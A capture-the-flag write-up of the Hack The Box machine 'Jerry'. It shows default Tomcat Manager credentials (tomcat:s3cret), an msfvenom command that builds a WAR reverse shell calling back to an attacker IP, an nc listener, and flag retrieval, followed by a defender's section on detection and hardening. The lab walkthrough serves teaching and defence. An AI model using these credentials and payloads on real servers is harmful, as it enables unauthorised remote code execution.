Jerry
Executive summary — Jerry is an Easy Windows box teaching a golden lesson: if you control an application-deployment panel, you already have code execution. An Apache Tomcat with the manager exposed and default credentials lets us upload a
.warwith a reverse shell; and since the service runs with high privileges, access is direct — no escalation. A Tomcat → WAR → RCE path.
| Platform | Hack The Box |
| Operating system | Windows |
| Difficulty | Easy |
| Status | Retired |
| Target IP | <TARGET_IP> |
Attack map
[8080] Apache Tomcat
│ /manager/html with default credentials (tomcat:s3cret)
▼
[DEPLOY] upload a .war with a JSP reverse shell → Tomcat runs it
▼
[RCE] the service runs with high privileges → direct access (no privesc)
1. Reconnaissance
We start with a full port scan:
nmap -p- --min-rate 10000 <TARGET_IP>
8080/tcp open http Apache Tomcat
Recognisable pattern: Tomcat on 8080 should immediately make you think of the manager (
/manager/html), default credentials and app deployment. That's almost always the path on this kind of lab or exam target.
With just this one finding we can already form a working hypothesis: if we manage to get into the manager, we can almost certainly upload a .war with a JSP reverse shell and get code execution.
2. Web service reconnaissance
We open http://<TARGET_IP>:8080 and see the standard Tomcat page, not a custom site.
Why it matters: the fact that it's the default application-server page — not a bespoke site — suggests other default components may still be active too, like
/manager/htmlor/host-manager/html. We go straight to test them.
3. The Tomcat Manager panel
We go to the application admin panel:
http://<TARGET_IP>:8080/manager/html
It asks for authentication. We try known Tomcat credentials — on this box they work:
tomcat : s3cret
Why trying default creds is reasonable: Tomcat historically ships misconfigured environments with default credentials, weak credentials, or documentation examples left in production. Seeing the exposed manager and trying known combos is the first, logical, very effective thing to do.
Getting in here is almost full compromise: the manager panel isn't just an admin area, it lets you deploy applications. And deploying an app you control on a server equals running code on it.
4. Building the payload: a .war with a JSP reverse shell
Tomcat runs Java web apps, whose native deployment format is the WAR. If we manage to upload one containing a JSP reverse shell, Tomcat will unpack it and serve it itself. We generate the payload:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f war > shell.war
-p java/jsp_shell_reverse_tcp— reverse-shell payload for JSP/Java.LHOST=<ATTACKER_IP>— our HTB VPN IP.LPORT=4444— port we'll listen on for the callback.-f war— WAR output format, the one Tomcat knows how to deploy.
Why msfvenom here: Tomcat understands a WAR natively, so it's the fastest, most reliable, most compatible way to get RCE, without having to hand-write the JSP.
5. Listener
Before deploying anything, we set up the listener:
nc -lvnp 4444
Why this is mandatory first: a reverse shell makes the victim connect back to us. If we're not listening first, the connection is lost and we'd have to redeploy. One of the most typical mistakes when starting out.
6. Uploading and deploying the WAR
In the manager, we use the Deploy function to upload shell.war. Internally, Tomcat:
- receives the WAR,
- unpacks it,
- publishes it as a web application,
- and makes it accessible under a path, usually
/shell.
Once deployed, we visit the app's path:
http://<TARGET_IP>:8080/shell
Loading the JSP runs the payload and the machine connects back to our listener: we now have remote code execution on the server.
C:\apache-tomcat\bin>
7. Shell obtained: privilege context
We check where we are and with what privileges. On Jerry, the Tomcat process runs with a high-privilege account, enough to reach the administrator's desktop directly.
Why this happens: in many Tomcat labs, the service runs under a privileged account or directly in an administrative context. It's bad practice — a service exposed to the network should never hold that level of permissions — but it's exactly what makes this box easy: there's no escalation phase, the vulnerable service already runs as an over-privileged account.
8. Finding the flags
We move to the administrator's desktop and list its contents:
cd C:\Users\Administrator\Desktop
dir
There's no typical root.txt, but a folder named flags. We go in and list again:
cd flags
dir
A single file shows up: 2 for the price of 1.txt. The machine is explicitly telling us both flags are in there together — on Jerry there's no classic user.txt/root.txt split, everything is packed into the same file as a final wink. We read it:
type "2 for the price of 1.txt"
The file contains the user flag and the root flag together. System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Foothold + Root | Apache Tomcat Manager | Default credentials (tomcat:s3cret) + WAR deployment | RCE with high privileges |
Defender's view
Jerry has a single link in its chain, which makes it a good lesson in how much a defender can see around one exposed admin panel.
Tomcat Manager reachable with default credentials
How it shows up in logs / telemetry
- Tomcat's access log (
localhost_access_log) records every hit on/manager/html: a run of401responses followed by a200from the same client is a textbook credential-guessing pattern. - Any request to the Manager from outside an admin network is suspicious on its own; a perimeter rule or WAF alert on that path costs nothing.
- Login attempts with well-known sample pairs such as
tomcat:s3cretcan be matched directly if the realm logs failed usernames.
How to fix it
- Remove the Manager and Host Manager apps from production, or restrict them to localhost / an admin subnet with a
RemoteAddrValve(current Tomcat releases ship the Manager restricted that way). - Delete every sample user from
tomcat-users.xmland use long, unique credentials; keep theLockOutRealmin front of the real realm so guessing gets throttled.
WAR deployment straight to a privileged service
How it shows up in logs / telemetry
- A
POSTto/manager/html/uploadand a new context path appearing in the access log, plus a "Deploying web application archive" line incatalinalogs, mark the moment code was pushed. - Process telemetry (Sysmon event 1 or Security 4688 with command-line auditing) shows the Tomcat
java.exespawningcmd.exeor PowerShell: a Java web server should never do that. - File integrity monitoring on
webapps\catches an unexpected.waror exploded directory.
How to fix it
- Run the Tomcat service under a dedicated low-privilege account instead of a highly privileged one, so a deployment does not equal full compromise.
- Disable auto-deploy in production and push applications through a pipeline rather than an interactive panel.
Lessons learned
- Recognise Tomcat fast: seeing it on 8080 should lead you straight to manager, default credentials and WAR deployment.
- Deployment panel = code execution. If you can upload and run an app, you have RCE.
- Default/weak credentials are devastating: no CVE needed if admin access is already open.
- Don't expose the Tomcat Manager to the network, and ALWAYS change sample credentials.
- Over-privileged services: Tomcat running as a privileged account turns an RCE into full compromise, no escalation needed — you don't always get that phase.
- Exploitation can be very simple: correct enumeration + understanding the service + the right payload is sometimes all it takes.